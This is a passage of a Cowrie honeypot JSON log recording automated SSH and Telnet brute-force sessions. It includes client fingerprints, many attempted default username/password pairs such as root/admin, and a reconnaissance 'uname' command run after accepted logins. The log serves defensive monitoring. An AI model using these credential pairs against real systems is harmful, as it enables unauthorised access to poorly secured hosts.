.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:00.126866Z","src_ip":"192.109.200.78","session":"f5683304638e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:00.614456Z","src_ip":"192.109.200.78","session":"f5683304638e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:01.699762Z","src_ip":"192.109.200.78","session":"f5683304638e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48008,"dst_ip":"10.17.0.5","dst_port":22,"session":"dafa8dd2a7d9","protocol":"ssh","message":"New connection: 192.109.200.78:48008 (10.17.0.5:22) [session: dafa8dd2a7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:03.670916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:03.675026Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:03.756517Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:04.002241Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:04.408449Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:04.411894Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:04.497657Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:04.502177Z","src_ip":"192.109.200.78","session":"dafa8dd2a7d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48040,"dst_ip":"10.17.0.5","dst_port":22,"session":"964680a0f3cc","protocol":"ssh","message":"New connection: 192.109.200.78:48040 (10.17.0.5:22) [session: 964680a0f3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:07.297627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:07.302005Z","src_ip":"192.109.200.78","session":"964680a0f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:07.389049Z","src_ip":"192.109.200.78","session":"964680a0f3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123321","message":"login attempt [www/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:07.650415Z","src_ip":"192.109.200.78","session":"964680a0f3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:08.736288Z","src_ip":"192.109.200.78","session":"964680a0f3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48056,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d81e11d7f8b","protocol":"ssh","message":"New connection: 192.109.200.78:48056 (10.17.0.5:22) [session: 9d81e11d7f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:10.751090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:10.755269Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:10.836340Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:11.082147Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:11.282450Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:11.285264Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:11.369379Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:11.373710Z","src_ip":"192.109.200.78","session":"9d81e11d7f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":54932,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3f92ce44e0a","protocol":"ssh","message":"New connection: 152.32.171.213:54932 (159.203.135.109:22) [session: d3f92ce44e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.033262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.037371Z","src_ip":"152.32.171.213","session":"d3f92ce44e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58100,"dst_ip":"10.17.0.5","dst_port":22,"session":"01f2713dcad0","protocol":"ssh","message":"New connection: 192.109.200.78:58100 (10.17.0.5:22) [session: 01f2713dcad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.135195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.139520Z","src_ip":"192.109.200.78","session":"01f2713dcad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.254794Z","src_ip":"152.32.171.213","session":"d3f92ce44e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.330643Z","src_ip":"192.109.200.78","session":"01f2713dcad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:14.674835Z","src_ip":"192.109.200.78","session":"01f2713dcad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeakadmin","message":"login attempt [teamspeak/teamspeakadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:15.159447Z","src_ip":"152.32.171.213","session":"d3f92ce44e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:15.759496Z","src_ip":"192.109.200.78","session":"01f2713dcad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:16.379293Z","src_ip":"152.32.171.213","session":"d3f92ce44e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"c28a798c9b0a","protocol":"ssh","message":"New connection: 192.109.200.78:58114 (10.17.0.5:22) [session: c28a798c9b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:17.761559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:17.765491Z","src_ip":"192.109.200.78","session":"c28a798c9b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:17.846841Z","src_ip":"192.109.200.78","session":"c28a798c9b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:18.096018Z","src_ip":"192.109.200.78","session":"c28a798c9b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:19.264876Z","src_ip":"192.109.200.78","session":"c28a798c9b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.145.179","src_port":46820,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e33f92c6341","protocol":"telnet","message":"New connection: 185.216.145.179:46820 (10.17.0.5:23) [session: 6e33f92c6341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:19.691976Z"}
{"eventid":"cowrie.session.closed","duration":0.14363813400268555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:19.835434Z","src_ip":"185.216.145.179","session":"6e33f92c6341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"742439dafec8","protocol":"ssh","message":"New connection: 192.109.200.78:58130 (10.17.0.5:22) [session: 742439dafec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:21.142384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:21.146310Z","src_ip":"192.109.200.78","session":"742439dafec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:21.227545Z","src_ip":"192.109.200.78","session":"742439dafec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:21.474278Z","src_ip":"192.109.200.78","session":"742439dafec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:22.558258Z","src_ip":"192.109.200.78","session":"742439dafec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39378,"dst_ip":"10.17.0.5","dst_port":22,"session":"e00264e60955","protocol":"ssh","message":"New connection: 192.109.200.78:39378 (10.17.0.5:22) [session: e00264e60955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:24.532577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:24.542367Z","src_ip":"192.109.200.78","session":"e00264e60955","protocol":"ssh"}
